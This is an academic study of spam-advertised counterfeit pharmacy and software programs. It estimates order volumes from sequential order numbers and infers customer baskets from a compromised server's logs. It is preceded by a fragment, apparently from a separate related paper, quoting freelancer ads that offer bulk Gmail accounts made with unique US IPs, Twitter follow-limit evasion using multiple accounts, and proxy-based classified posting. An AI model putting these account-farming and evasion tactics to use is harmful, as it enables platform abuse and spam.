ability to provide accounts as per your required format. ——–
We created those account with this requirement as below:
1) All Gmail accounts created with unique US IP Addresses 2)
All Gmail accounts created separate/unique passwords 3) All
accounts created a prefix with names &/or words. Preferably
no numbers 4) All accounts to have random First and Last
names assigned. 5) All passwords have minimum of 8
characters and preferably alpha-numeric

B.2 SEO
SEO Content Generation. Hi!I am <deleted>.I am
currently a stay at home mom with 9 month old daughter so I
currently have free time throughout the day. I can write quality
articles/blogs, academic research papers and LSI/SEO written
content of any nature.These articles are put through
Copyscape premium dupe test before submission. Also find
attached a sample News article I did for a local News paper.I
assure you that your articles will be written in the most
professional manner possible. I charge $1 per 100 word.I look
forward to working with you.Take care

B.3 Spamming
Create Social Networking Links. Techniques:(100% white
hat) 1. Following people manually: Twitter let us follow 500
people in a day and maximum 2000 follow using one account.
So i found a nice technique by which i am able to make 1000
follower. That is
#First follow huge people manually up to 500 using an
account similar to your account and after following 500 i will
receive a massage, “You have cross the hourly limit . You cant
follow now”. Then i will use another account to follow
targeted follower up to 500...

B.4 OSN Linking
Human Oriented Postings. I am experienced with the CL
posting .Now i am working use for daily posting (RDSL With
AT@T Line ,CLAD Soft, Ip rental,Proxy,AOL,US hide IP,
line with Logmein soft Or,Team Viewer & go to my PC), We
have so much experience a team for all adds posting site such
as craigslist, backpage, kijiji, gumtree, olx, oddle and all
classified site) also have all requirements which need your
project done.
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Abstract
Modern spam is ultimately driven by product sales:
goods purchased by customers online. However, while
this model is easy to state in the abstract, our under-
standing of the concrete business environment—how
many orders, of what kind, from which customers, for
how much—is poor at best. This situation is unsurpris-
ing since such sellers typically operate under question-
able legal footing, with “ground truth” data rarely avail-
able to the public. However, absent quantifiable empiri-
cal data, “guesstimates” operate unchecked and can dis-
tort both policy making and our choice of appropri-
ate interventions. In this paper, we describe two infer-
ence techniques for peering inside the business opera-
tions of spam-advertised enterprises: purchase pair and
basket inference. Using these, we provide informed esti-
mates on order volumes, product sales distribution, cus-
tomer makeup and total revenues for a range of spam-
advertised programs.

1 Introduction
A large number of Internet scams are “advertising-
based”; that is, their goal is to convince potential cus-
tomers to purchase a product or service, typically via
some broad-based advertising medium.1 In turn, this ac-
tivity mobilizes and helps fund a broad array of technical
capabilities, including botnet-based distribution, fast flux
name service, and bulletproof hosting. However, while
these same technical aspects enjoy a great deal of atten-
tion from the security community, there is considerably
less information quantifying the underlying economic
engine that drives this ecosystem. Absent grounded em-
pirical data, it is challenging to reconcile revenue “esti-
mates” that can range from $2M/day for one spam bot-
net [1], to analyses suggesting that spammers make little

1Unauthorized Internet advertising includes email spam, black hat
search-engine optimization [26], blog spam [21], Twitter spam [4], fo-
rum spam, and comment spam. Hereafter we refer to these myriad ad-
vertising vectors simply as spam.

money at all [6]. This situation has the potential to distort
policy and investment decisions that are otherwise driven
by intuition rather than evidence.

In this paper we make two contributions to improving
this state of affairs using measurement-based methods to
estimate:

• Order volume. We describe a general technique—
purchase pair—for estimating the number of orders
received (and hence revenue) via on-line store order
numbering. We use this approach to establish rough,
but well-founded, monthly order volume estimates
for many of the leading “affiliate programs” selling
counterfeit pharmaceuticals and software.

• Purchasing behavior. We show how we can use
third-party image hosting data to infer the contents
of customer “baskets” and hence characterize pur-
chasing behavior. We apply this technique to a lead-
ing spamvertized pharmaceutical program and iden-
tify both the nature of these purchases and their re-
lation to the geographic distribution of the customer
base.

In each case, our real contribution is less in the par-
ticular techniques—which an adversary could easily de-
feat should they seek to do so—but rather in the data that
we used them to gather. In particular, we document that
seven leading counterfeit pharmacies together have a to-
tal monthly order volume in excess of 82,000, while three
counterfeit software stores process over 37,000 orders in
the same time.

On the demand side, as expected, we find that most
pharmaceuticals selected for purchase are in the “male-
enhancement” category (primarily Viagra and other ED
medications comprising 60 distinct items). However,
such drugs constitute only 62% of the total, and we doc-
ument that this demand distribution has quite a long tail;
user shopping carts contain 289 distinct products, includ-
ing surprising categories such as anti-cancer medications
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(Arimidex and Gleevec), anti-schizophrenia drugs (Sero-
quel), and asthma medications (Advair and Ventolin).
We also discover significant differences in the purchas-
ing habits of U.S. and non-U.S. customers.

Combining these measurements, we synthesize overall
revenue estimates for each program, which can be well
in excess of $1M per month for a single enterprise. To
the best of our knowledge, ours is the first empirical data
set of its kind, as well as the first to provide insight into
the market size of the spam-advertised goods market and
corresponding customer purchasing behavior.

We structure the remainder of this paper as follows.
In § 2 we motivate the need for such research, explain
the limitations of existing data, and provide background
about how the spam-advertised business model works to-
day. We discuss our purchase pair technique in § 3, val-
idating our technique for internal consistency and then
presenting order volume estimates across seven of the
top pharmaceutical affiliate programs and three counter-
feit software programs. We then explore the customer dy-
namics for one particular pharmaceutical program, Eva-
Pharmacy, in § 4. We explain how to use image log data
to identify customer purchases and then document how,
where and when the EvaPharmacy customer base places
its orders. We summarize our findings in § 5, devising
estimates of revenue and comparing them with external
validation. We conclude with a discussion about the im-
plications of our findings in § 6.

2 Background

The security community is at once awash in the tech-
nical detail of new threats—the precise nature of a new
vulnerability or the systematic analysis of a new botnet’s
command and control protocol—yet somewhat deficient
in analyzing the economic processes that underlie these
activities. In fairness, it is difficult to produce such anal-
yses; there are innate operational complexities in acquir-
ing such economic data and inherent uncertainties when
reasoning about underground activities whose true scope
is rarely visible directly.

However, absent a rigorous treatment, the resulting in-
formation vacuum is all too easily filled with opinion,
which in turn can morph into “fact” over time. Though
pervasive, this problem seemingly reached its zenith in
the 2005 claim by US Treasury Department consultant
Valerie McNiven that cybercrime revenue exceeded that
of the drug trade (over $100 billion at the time) [11].
This claim was frequently repeated by members of the
security industry, growing in size each year, ultimately
reaching its peak in 2009 with written Congressional tes-
timony by AT&T’s chief security officer stating that cy-
bercrime reaped “more than $1 trillion annually in illicit
profits” [23]—a figure well in excess of the entire soft-

ware industry and almost twice the GDP of Germany.
Nay-sayers are similarly limited in their empirical evi-
dence. Perhaps best known in this group are Herley and
Florencio, who argue that a variety of cybercrimes are
generally unprofitable. However, lacking empirical data,
they are forced to use an economic meta-analysis to make
their case [5, 6, 7].

Unfortunately, the answer to such questions matters.
Without an “evidence basis”, policy and investment de-
cisions are easily distorted along influence lines, either
over-reacting to small problems or under-appreciating
the scope of grave ones.

2.1 Estimating spam revenue and demand
In this paper we examine only a small subset of such
activity: spam-advertised counterfeit pharmacies and, to
a lesser extent, counterfeit software stores. However,
even here public estimates can vary widely. In 2005,
one consultancy estimated that Russian spammers earned
roughly US$2–3M per year [18]. However, in a 2008
interview, one IBM representative claimed that a single
spamming botnet was earning close to $2M per day [1].
Our previous work studied the same botnet empirically,
leading to an estimate of daily revenue of up to $9,500,
extrapolating to $3.5M per year [10]. Most recently, a re-
port by the Russian Association of Electronic Communi-
cation (RAEC) estimated that Russian spammers earned
3.7 billion rubles (roughly $125 million) in 2009 [12].

The demand side of this equation is even less well
understood, relying almost entirely on opt-in phone or
email polls. In 2004, the Business Software Alliance
sponsored a Forrester Research poll to examine this
question, finding that out of 6,000 respondents (spread
evenly across the US, Canada, Germany, France, the UK
and Brazil) 27% had purchased spam-advertised soft-
ware and 13% had purchased spam-advertised pharma-
ceuticals [3]. If such data were taken at face value, the US
market size for spam-advertised pharmaceuticals would
exceed 30 million customers. Similar studies, one by
Marshal in 2008 and the other sponsored by the Mes-
saging Anti-Abuse Working Group (MAAWG) in 2009,
estimate that 29% and 12%, respectively, of Internet
users had purchased goods or services advertised in spam
email [8, 19].

In our previous work on empirically quantifying rev-
enue for such activities, our measurements were only
able to capture a few percent of orders for sites adver-
tised by a single botnet serving a single affiliate program,
GlavMed [10]. Here, we aim to significantly extend our
understanding, with our results covering total order vol-
ume for five of the six top pharmacy affiliate programs,
and three of the top five counterfeit software affiliate pro-
grams. Moreover, to the best of our knowledge our anal-
ysis of EvaPharmacy is the first measurement-based ex-
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amination of customer purchasing behavior, the demand
component of the counterfeit pharmacy ecosystem.

2.2 How spam-advertised sites work
To provide context for the analysis in this paper, we first
describe how modern spam is monetized and the ecosys-
tem that supports it.

Today, spam of all kinds represents an outsourced mar-
keting operation in service to an underlying sales activ-
ity. At the core are “affiliate programs” that provide retail
content (e.g., storefront templates and site code) as well
as back-end services (e.g., payment processing, fulfill-
ment and customer support) to a set of client affiliates.
Affiliates in turn are paid on a commission basis (typ-
ically 30–50% in the pharmaceutical market) for each
sale they bring in via whatever advertising vector they
are able to harness effectively. This dynamic is well de-
scribed in Samosseiko’s “Partnerka” paper [22] and also
in our recent work studying the spam value chain [16].

Thus, while an affiliate has a responsibility to attract
customers and host their shopping experience (which in-
cludes maintaining the contents of their “shopping cart”),
once a customer decides to “check out” the affiliate hands
the process over to the operators of the affiliate program.2

Consequently, we would expect to find the order process-
ing service shared across all affiliates of a particular pro-
gram, regardless of the means used to attract customers.
Indeed, as discussed below, our measurements of pur-
chases from different members of the same affiliate con-
firm that the order numbers associated with the purchases
come from a common pool. This finding is critical for our
study because it means that side-effects in the order pro-
cessing phase reflect the actions of all sales activity for
an entire program, rather than just the sales of a single
member.

On the back end, order processing consists of sev-
eral steps: authorization, settlement, fulfillment, and cus-
tomer service. Authorization is the process by which
the merchant confirms, through the appropriate payment
card association (e.g., Visa, MasterCard, American Ex-
press, Japan Credit Bureau, etc.), that the customer has
sufficient funds. For the most common payment cards
(Visa/MC), this process consists of contacting the cus-
tomer’s issuing bank, ensuring that the card is valid and
the customer possesses sufficient funds, and placing a
lien on the current credit balance. Once the good or ser-
vice is ready for delivery, the merchant can then execute
a settlement transaction that actualizes this lien, transfer-
ring money to the merchant’s bank. Finally, fulfillment
comprises packaging and delivery (e.g., shipping drugs

2This transfer typically takes the form of a redirection to a pay-
ment gateway site (with the affiliate’s identity encoded in the request),
although some sites also support a proxy mode so the customer can
appear to remain at the same Web site.

directly from a foreign supplier or providing a Web site
and password for downloading software). For our study,
however, the key leverage lies in customer service. To
support customer service, payment sites generate indi-
vidual order numbers to share with the customer. In the
next section, we describe how we can use the details of
this process to infer the overall transaction rate, and ulti-
mately revenue, of an entire affiliate program.

3 Order volume
Underlying our purchase pair measurement approach is
a model of how affiliate programs handle transactions,
and, in particular, how they assign order numbers.

3.1 Basic idea
Upon placing an order, most affiliate programs provide a
confirmation page that includes an “order number” (typ-
ically numeric, or at least having a clear numeric compo-
nent) that uniquely specifies the customer’s transaction.
For purchases where an order number does not appear
on the confirmation page, the seller can provide one in
a confirmation email (the common case), or make one
available via login to the seller’s Web site. The order
number allows the customer to specify the particular pur-
chase in any subsequent emails, when using customer
support Web sites, or when contacting online support
via email, IM or live Web chat. For the purchases we
made, we found that the seller generally provides the or-
der number before the authorization step (indeed, even
before merchant-side fraud checks such as Address Ver-
ification Service), although purely local checks such as
Luhn digit validation are frequently performed first. Ac-
cordingly, we can consider the creation of an order num-
ber only as evidence that a customer attempted an order,
not that it successfully concluded. Thus, the estimates we
form in this work reflect an upper bound on the transac-
tion rate, including transactions declined during autho-
rization or settlement.3

The most important property for such order numbers
is their uniqueness; that each customer order is assigned
a singular number that is distinguished over time with-
out the possibility of aliasing. While there are a vast
number of ways such uniqueness could be implemented
(e.g., a pseudo-random permutation function), the easi-
est approach by far is to simply increment a global vari-
able for each new order. Indeed, the serendipitous ob-
servation that motivated our study was that multiple pur-
chases made from the same affiliate program produced

3In 2008, Visa documented that card-not-present transactions such
as e-commerce had an issuer decline rate of 14% system-wide [25]. In
addition, it seems likely that some orders are declined at the merchant’s
processor due to purely local fraud checks (such as per-card or per-
address velocity checks or disparities between IP address geolocation
versus shipping address).
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order numbers that appeared to monotonically increase
over time. Observing the monotonic nature of this se-
quence, we hypothesized that order number allocation is
implemented by serializing access to a single global vari-
able that is incremented each time an order is made; we
call this the sequential update hypothesis. To assess this
hypothesis, we examined source code for over a dozen
common e-commerce platforms (e.g., Magento, X-cart,
Ubercart, and Zen-cart [17, 24, 27, 28]), finding ubiqui-
tous use of such a counter, typically using an SQL auto-
update field, but sometimes embodied explicitly in code.

Given use of such a global sequential counter, the
difference between the numbers associated with orders
placed at two points in time reflects the total number of
orders placed during the intervening time period. Thus,
from any pair of purchases we can extract a measure-
ment of the total transaction volume for the interval of
time between them, even though we cannot directly wit-
ness those intervening transactions. Figure 1 illustrates
the methodology using a concrete example. This obser-
vation is similar in flavor to the analysis used in blind/idle
port scanning (there the sequential increment of the IP
identification field allows inference of the presence of
intervening transmissions) [2]. It then appears plausible
that this same purchase-pair approach might work across
a broad range of spam-advertised programs, a possibility
that we explore more thoroughly next.

3.2 Data collection
To evaluate this approach requires that we first identify
which sites advertise which affiliate programs, and then
place repeated purchases from each. We describe how we
gathered each of these data sets in this section.

Program data
In prior work, we developed a URL crawler to follow
the embedded links contained in real-time feeds of email
spam (provided by a broad range of third-party anti-
spam partners) [16]. The crawler traverses any redirec-
tion pages and then fetches and renders the resulting page
in a live browser. We further developed a set of “page
classifiers” that identify the type of good being adver-
tised by analyzing the site content, and, in most cases,
the particular affiliate program being promoted. We de-
veloped specific classifiers for over 20 of the top phar-
maceutical programs (comprising virtually all sites ad-
vertised in pharmaceutical spam), along with the four
most aggressively spam-advertised counterfeit software
programs.

After placing multiple test orders with nine of these
pharmaceutical programs, we identified seven with
strictly incrementing order numbers.4 Five of these (Rx–

4Of the two programs that we did not select, ZedCash used several
different strictly increasing order number subspaces that would compli-

Promotion, Pharmacy Express (aka Mailien), GlavMed,
Online Pharmacy and EvaPharmacy) together consti-
tuted two-thirds of all sites advertised in the roughly
350 million distinct pharmaceutical spam URLs we ob-
served over three months in late 2010. We found the
sixth, 33drugs (aka DrugRevenue), and seventh, 4RX,
less prevalent in email spam URLs, but they appear to
be well advertised via search engine optimization (SEO)
techniques [15]. We did a similar analysis of counterfeit
software programs, finding three (Royal Software, Eu-
roSoft, and SoftSales) with the appropriate order-number
signature. While counterfeit software is less prevalent in
total spam volume, these three programs constitute over
97% of such sites advertised to our spam collection appa-
ratus during the same 3-month period. For the remainder
of this paper we focus exclusively on these ten programs,
although it appears plausible that the same technique will
prove applicable to many smaller programs, and also to
programs in other such markets (e.g., gambling, fake an-
tivirus, adult).

Order data
We collected order data in two manners: actively via our
own purchases and opportunistically, based on the pur-
chases of others. First and foremost are our own pur-
chases, which we conducted in two phases. The first
phase arose during a previous study, during which we
executed a small number of test purchases from numer-
ous affiliate programs in January and November of 2010
using retail Visa gift cards. Of these, 46 targeted the ten
programs under study in this paper. The second phase
(comprising the bulk of our active measurements) re-
flects a regimen of purchases made over three weeks in
January and February 2011 focused specifically on the
ten programs we identified above.

When placing these orders, we used multiple distinct
URLs leading to each program (as identified by our page
classifiers). The goal of this procedure was to maximize
the likelihood of using distinct affiliates to place pur-
chases in order to provide an opportunity to determine
whether different affiliates of a given program make use
of different order-processing services.

Successfully placing orders had its own set of op-
erational challenges [9]. Except where noted, we per-
formed all of our purchases using prepaid Visa credit
cards provided to us in partnership with a specialty is-
suer, and funded to cover the full amount of each trans-
action. We used a distinct card for each purchase and
went to considerable lengths to emulate real customers.
We used valid names and associated residential shipping
addresses, placed orders from a range of geographically

cate our analysis and decrease accuracy, while World Pharmacy order
numbers appeared to be the concatenation of a small value with the
current Unix timestamp, which would thwart our analysis altogether.
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Figure 1: How the purchase pair technique works. In this hypothetical situation, two measurement purchases are made that bracket
some number of intervening purchases made by real customers. Because order number allocation is implemented by a serialized
sequential increment, the difference in the order numbers between measurement purchases, N = 23, corresponds to the total
number of orders processed by the affiliate program in the intervening time.

proximate IP addresses, and provided a unique email ad-
dress for each order. We used five contact phone numbers
for order confirmation, three from Google Voice and two
via prepaid cell phones, with all inbound calls routed to
the prepaid cell phones. In a few instances we found it
necessary to place orders from IP addresses closely ge-
olocated to the vicinity of the billing address for a given
card, as the fraud check process for one affiliate program
(EuroSoft) was sensitive to this feature. Another program
(Royal Software) would only accept one order per IP ad-
dress, requiring IP address diversity as well.

In total we placed 156 such orders. We scheduled them
both periodically over a three-week period as well as
in patterns designed to help elucidate more detail about
transaction volume and to test for internal consistency, as
discussed below.

Finally, in addition to the raw data from our own
purchase records, we were able to capture several pur-
chase order numbers via forum scraping. This opportu-
nity arose because affiliate programs typically sponsor
online forums that establish a community among their
affiliates and provide a channel for distributing opera-
tional information (e.g., changes in software or name
servers), sharing experiences (e.g., which registrars will
tolerate domains used to host pharmaceutical stores), and
to raise complaints or questions. One forum in particular,
for the GlavMed program, included an extended “com-
plaint” thread in which individual affiliates complained
about orders that had not yet cleared payment process-
ing (important to them since affiliates are only paid for
each settled transaction that they deliver). These affiliates
chose to document their complaints by listing the order
number they were waiting for, which we determined was
in precisely the same format and numeric range as the
order numbers presented to purchasers. By mining this
forum we obtained 122 numbers for past orders, includ-
ing orders dating back to 2008.

Affiliate Program
Phase 1 Phase 2
(1/10 – 11/10) (1/11 – 2/11)

Rx–Promotion 7 27
Pharmacy Express 3 9
GlavMed 12 14
Online Pharmacy 5 16
EvaPharmacy 7 16
33drugs 4 16
4RX 1 13
EuroSoft 3 25
Royal Software 2 9
SoftSales 2 11

Table 1: Active orders placed to sites of each affiliate program
in the two different time phases of our study. In addition, we op-
portunistically gathered 122 orders for GlavMed covering the
period between 2/08 and 1/11.

Note that this data contains an innate time bias since
the date of complaint inevitably came a while later than
the time of purchase (unlike our own purchases). For this
reason, we identify opportunistically gathered points dis-
tinctly when analyzing the data. We will see below that
the bias proves to be relatively minor.

We summarize the total data set in Table 1. It includes
order numbers from 202 active purchases and 122 oppor-
tunistically gathered data points.

3.3 Consistency
While our initial observations of monotonicity are quite
suggestive, we need to consider other possible explana-
tions and confounding factors as well. Here we evaluate
the data for internal consistency—the degree to which
the data appears best explained by the sequential update
hypothesis rather than other plausible explanations. At
the end of the paper we also consider the issue of ex-
ternal consistency using “ground truth” revenue data for
one program.
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Sequential update

The fundamental premise underlying our purchase-pair
technique is that order numbers increment sequentially
for each attempted order. The monotone sequences that
we observe accord with this hypothesis, but could arise
from other mechanisms. Alternate interpretations in-
clude that updates are monotone but not sequential (e.g.,
incrementing the order number by a small, varying num-
ber for each order) or that order numbers are derived
from timestamps (i.e., that each order number is just
a normalized representation of the time of purchase,
and does not reflect the number of distinct purchase at-
tempts).

To test these hypotheses, we executed back-to-back
orders (i.e., within 5–10 seconds of one another) for
each of the programs under study. We performed this
measurement at least twice for all programs (except-
ing EvaPharmacy, which temporarily stopped operation
during our study). For eight of the programs, every
measurement pair produced a sequential increment. The
GlavMed program also produced sequential increments,
but we observed one measurement for which the order
number incremented by two, likely simply due to an in-
tervening order out of our control. Finally, we observed
no sequential updates for Rx–Promotion even with re-
peated back-to-back purchase attempts. However, upon
further examination of 35 purchases, we noticed that or-
der numbers for this program are always odd; for what-
ever reason, the Rx–Promotion order processing system
increments the order number by two for each order at-
tempt. Adjusting for this deviation, our experiments find
that on finer time scales, every affiliate program be-
haves consistently with the sequential update hypothe-
sis.

We need however to consider an alternate hypothesis
for this same behavior: that order numbers reflect nor-
malized representations of timestamps, with each order
implicitly serialized by the time at which it is received.
This “clock” model does not appear plausible for fine-
grained time scales. Our purchases made several seconds
apart received sequential order numbers, which would re-
quire use of a clock that advances at a somewhat peculiar
rate—slowly enough to risk separate orders receiving the
same number and violating the uniqueness property.

A possible refinement to the clock model would be
for a program to periodically allocate a block of order
numbers to be used for the next T seconds (e.g., for
T = 3,600), and after that time period elapses, advanc-
ing to the next available block. The use of such a hybrid
approach would enable us to analyze purchasing activity
over fine-grained time scales. But it would also tend to-
wards misleading over-inflation of such activity on larger
time scales, since we would be comparing values gener-
ated across gaps.
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Figure 2: Order numbers (y-axis) associated with each affiliate
program versus the time of attempted purchase (x-axis).

We test for whether the order numbers in our data fit
with a clock model as follows. First, we consider the
large-scale behavior of order numbers as seen across the
different affiliate programs. Figure 2 plots for each pro-
gram the order number associated with a purchase at-
tempt made at a given time. We plot each of the 10 af-
filiate programs with a separate symbol (and varying
shades, though we reuse a few for programs whose num-
bers are far apart). In addition, we plot with black points
the order numbers revealed in the GlavMed discussion
forum.

Three basic points stand out from the plot. First, all
of the programs use order numbers distinct from the oth-
ers. (We verified that neither of those closest together,
33drugs and Royal Software, nor Pharmacy Express and
SoftSales, overlap.) Thus, it is not the case that separate
affiliate programs share unified order processing.

Second, the programs nearly always exhibit mono-
tonicity even across large time scales, ruling out the pos-
sibility that some programs occasionally reset their coun-
ters. (We discuss the outliers that manifest in the plot be-
low.)

Third, the GlavMed forum data is consistent with our
own active purchases from GlavMed. In addition, the
data for both has a clear downward concavity starting
in 2009—inconsistent with use of clock-driven batches,
but consistent with the sequential update hypothesis. As-
suming that the data indeed reflects purchase activity, the
downward concavity also indicates that the program has
been losing customers, a finding consistent with main-
stream news stories [13].

We lack such extensive data for the other programs,
but can still assess their possible agreement with use
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Figure 3: The amount of error—either in our measurement pro-
cess, or due to batching of order numbers—required for each
measurement in 2011 to be consistent with the Null Hypothesis
that order numbers are derived from a clock that advances at
some steady rate. Note that the y-axis is truncated at ±24 hrs,
though additional points lie outside this range.

of clock-driven batches, as follows. For each program,
we consider the purchases made in 2011. We construct
a least-squares linear fit between the order numbers of
the purchases and the time at which we made them. If
the order numbers come from clock-driven batches (the
Null Hypothesis), then we would expect that all of the
points associated with our purchases to fall near the fitted
line. Accordingly, for each point we compute how far we
would have to move it along the x-axis so that it would
coincide with the line for its program. If the Null Hypoth-
esis is true, then this deviation in time reflects the error
that must have arisen during our purchase measurement:
either due to poor accuracy in our own time-keeping, or
because of the granularity of the batches used by the pro-
gram for generating order numbers.

Figure 3 plots this residual error for each affiliate pro-
gram. For example, in the lower right we see a point for
a 33drugs purchase made in early February 2011. If the
Null Hypothesis holds, then the purchaser’s order num-
ber reflects a value that should have appeared 18 hours
earlier than when we observed it. That is, either we in-
troduced an error of about 18 hours in recording the time
of that purchase; or the program uses a batch-size of 18+
hours; or the Null Hypothesis fails to hold.

For all ten of the affiliate programs, we find many pur-
chases that require timing errors of many hours to main-
tain consistency with the Null Hypothesis. (Note that
we restrict the y-axis to the range ±24 hr for legibil-
ity, although we find numerous points falling outside that

range as well.) In addition, we do not discern any tempo-
ral patterns in the required errors, such as would be the
case if the least-squares fit was perturbed by an outlier.
Finally, if we extend the analysis out to November 2010
(not shown), we find that the required error grows, some-
times to 100s of hours, indicating that the discrepancy
does not result from a large batch size such as T = 1 day.

Given this evidence, we reject the Null Hypothesis that
the order numbers derive from a clock-driven mecha-
nism. We do however find the data consistent with the
sequential update hypothesis, and so proceed from this
point on the presumption that indeed the order numbers
grow sequentially with each new purchase attempt.

Payment independence

We placed most of our orders using cards underwritten
by Visa. We selected Visa because it is the dominant pay-
ment method used by these affiliate programs (few accept
MasterCard, and fewer still process American Express).
However, it is conceivable that programs allocate distinct
order number ranges for each distinct type of payment. If
so, then our Visa-based orders would only witness a sub-
set of the order numbers, leading us to underestimate the
total volume of purchase transactions. To test this ques-
tion, we acquired several prepaid MasterCard cards and
placed orders at those programs that accept MasterCard
(doing so excludes Rx–Promotion, GlavMed, 4RX and
Online Pharmacy). In each case, we found that Visa pur-
chases made directly before and after a MasterCard pur-
chase produced order numbers that precisely bracketed
the MasterCard order numbers as well.

Outliers

Out of the 324 samples in our dataset, we found a small
number of outliers (six) that we discuss here. Almost all
come from the GlavMed program. The outliers fall into
two categories: two singleton outliers completely outside
the normal order number range for the program, and one
group of four internally consistent order numbers that
were slightly outside the expected range, violating mono-
tonicity. We discuss these in more detail here, as well as
their possible explanations.

The first singleton outlier was a purchase placed at a
Web site that is clearly based on the SE2 engine built
by GlavMed. However, the returned order number was
close to 16000 when co-temporal orders from all other
GlavMed sites returned orders closer to 1080000. The
site differs in a number of key features, including a
unique template not distributed in the standard package
made available to GlavMed affiliates, a different support
phone number, different product pricing, and purchases
processed via a different acquiring bank than used by
all other GlavMed purchases. Taken together, we believe
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this reflects a site that is simply using the SE2 engine, but
is not in fact associated with the GlavMed operation.5

The second outlier occurred in a very early (January
2010) purchase from a Pharmacy Express affiliate, which
returned an order number much higher than any seen in
later purchases. We have no clear explanation for this in-
congruity, and other key structural and payment features
match, but we note that the order numbers returned in
all subsequent Pharmacy Express transactions are only
five digits long, and that over nine months pass between
this initial outlier and all subsequent purchases. Conse-
quently, we might reasonably explain the discrepancy by
a decision to reset the order number space at some point
between January and October.

Finally, we find a group of four early GlavMed pur-
chases whose order numbers are roughly the same mag-
nitude, but occur out of sequence (i.e., given the rate of
growth seen in the other GlavMed order numbers, these
four are from a batch that will only be used sometime
in 2013). These all occurred together in the last two
weeks of January 2010. This small outlier group remains
a mystery, and suggests either that GlavMed might main-
tain a parallel order space for some affiliates, or that they
reflect a “counterfeit” GlavMed operation. The remain-
ing 21 GlavMed purchase samples, as well as the 122 op-
portunistically gathered order numbers (occurring both
before and after January 2010), all use consistent order
numbering.

While we cannot completely explain these few out-
liers, they represent less than 2% percent of our dataset.
We also have found no unexplained instances within the
last 12 months. We remove these six data points in the
remainder of our analysis.

3.4 Order rates
Under these assumptions, we can now estimate the rate
of orders seen by each enterprise. Figure 4 plots the 2011
data points for each of the 10 programs. We also plot
the least squares linear interpolation as well as the slope
parameter of this line—corresponding to the number of
orders received per day on average. During this time pe-
riod, daily order rates for pharmacy programs vary from
a low of 227 for Rx–Promotion (recall that their order
IDs increment by two for each order) up to a high of 887
for EvaPharmacy (software programs range between 49
and 749). Together, these reflect a monthly volume of
over 82,000 pharmaceutical orders and over 37,000 soft-
ware orders. Again, these numbers reflect upper bounds
on completed orders, since undoubtedly some fraction of
these attempted orders are declined; however, it seems
clear that order volume is substantial.

5We have found third parties contracting for custom GlavMed tem-
plates on popular “freelancer” sites, giving reason to believe that inde-
pendent innovation exists around the SE2 engine created by GlavMed.

We also note that while order volume is quite consis-
tent across January and February, there are significant
fall offs for some programs when compared to the data
gathered earlier. For example, during 2010, the average
number of Rx–Promotion orders per day was 385, 70%
greater than during the first two months of 2011. Sim-
ilarly, 2011 GlavMed orders are off roughly 20% from
their 2010 pace, and EvaPharmacy saw a similar de-
cline as compared to October and November of that year.
Other programs changed little and maintained a stable
level of activity.

4 Purchasing behavior
While the previous analysis demonstrates that pharma-
ceutical affiliate programs are receiving a significant vol-
ume of orders, it reveals little about the source of these
orders or their contents. In this section, we use an oppor-
tunistic analysis of found server log data to explore these
issues for one such affiliate program.

4.1 EvaPharmacy image hosting
In particular, we examine EvaPharmacy, a “top 5” spam-
advertised pharmacy affiliate program.6 In monitoring
EvaPharmacy sites we observed that roughly two thirds
“outsourced” image hosting to compromised third-party
servers (typically functioning Linux-based Web servers).
This behavior was readily identifiable because visits to
such sites produced HTML code in which each image
load was redirected to another server—addressed via raw
IP address—at port 8080.

We contacted the victim of one such infection and they
were able to share IDS log data in support of this study.
In particular, our dataset includes a log of HTTP request
streams for a compromised image hosting server that
was widely used by EvaPharmacy sites over five days
in August of 2010. While the raw IP addresses in our
dataset have been anonymized (consistently), they have
first been geolocated (using MaxMind) and these geo-
graphic coordinates are available to us. Thus, we have
city-level source identifiability as well as the contents of
HTTP logs (including timestamp, object requested, and
referrer).

Through repeated experimentation with live Eva-
Pharmacy sites, we inferred that the site “engine” can use
dynamic HTML rewriting (similar to Akamai) to rewrite
embedded image links on a per visit basis. On a new
visit (tracked via a cookie), the server selects a set of
five compromised hosts and assigns these (apparently in
a quasi-random fashion) to each embedded image link
served. During the five-day period covering our log data,
our crawler observed 31 distinct image servers in use.

6Our page classifiers [16] identified EvaPharmacy in over 8% of
pharmacy sites found in spam-advertised URLs over three months, with
affiliates driving traffic to over 11,000 distinct domains.
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Figure 4: Collected data points and best fit slope showing the inferred order rate for ten different spam-advertised affiliate programs.
Order numbers are zero-normalized and the vertical scale of each plot is identical.

However, our particular server was apparently dispropor-
tionately popular, as it appears in 31% of all contempo-
raneous visits made by our URL crawler (perhaps due
to its particularly good connectivity). In turn, each im-
age server hosts an nginx Web proxy able to serve the
entirety of the image corpus.

4.2 Basket inference
Since the log we use is limited to embedded Web page
images, and in fact only includes one fifth of the images
fetched during a particular visit, there are considerable
challenges involved in inferring item selection purely
from this data. We next discuss how this inference tech-
nique works (illustrated at a high level in Figure 5) as
well as its fundamental limitations.7

We mapped out the purchasing workflow involved in
ordering from an EvaPharmacy site, and observed that all
purchases involve visiting four key kinds of pages in or-
der: landing, product, shopping cart, and checkout. The
landing page generally includes over 40 distinct embed-
ded images. Thus, even though images are split among
five servers, it is highly likely that multiple objects from
each landing page are fetched via our server (each with
a referrer field identifying the landing page from which
it was requested).8 We observe 752,000 distinct IP ad-

7This general approach is similar in character to Moore and Clay-
ton’s inference of phishing page visits from Webalizer logs [20].

8We validated this observation using our crawled data, which
showed that the landing pages using :8080 image hosting always used
five distinct servers. Thus, any image server assigned to a particular
visit is guaranteed to see the landing page load for that visit.

dresses that visited and included referrer information
during our five-day period.

When a visitor selects a particular drug from the land-
ing page, the reply takes them to an associated product
page. This page in turn prompts them to select the par-
ticular dosage and quantity they wish to purchase. The
precise construction of product pages differs between the
set of site templates (i.e., storefront brands) used by Eva-
Pharmacy. However, all include at least a few new im-
ages not found on the landing page, and the most popu-
lar template fetches five additional images. The number
of additional images varies on a per-template basis, not
a per-product basis within each template. Thus, for some
templates we may have less opportunity to observe what
product the user selects, but this does not affect our esti-
mate of the distribution of products selected, because the
diminished opportunity is not correlated with particular
products.

Next, upon selecting a product, the user is taken to the
shopping cart page, which again includes a large number
(often a dozen or more) of new images representing prod-
uct recommendations. We observe 4,879 cart visits from
3,872 distinct IP addresses. This allows us to estimate
a product-selection conversion rate: the fraction of visi-
tors who select an item for purchase. Based on the total
number of visitors where we have referrer information,
the conversion percentage on an IP basis is 0.5%.9 Of
these, 3,089 cart additions have preceding visits to prod-

9For comparison, in our previous work we measured a visit-to-
product-selection conversion rate of 2% [10].
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Figure 5: How a user interacts with an EvaPharmacy Web site, beginning with the landing page and then proceeding to a product
page and the shopping cart. The main Web site contains embedded images hosted on separate compromised systems. When a
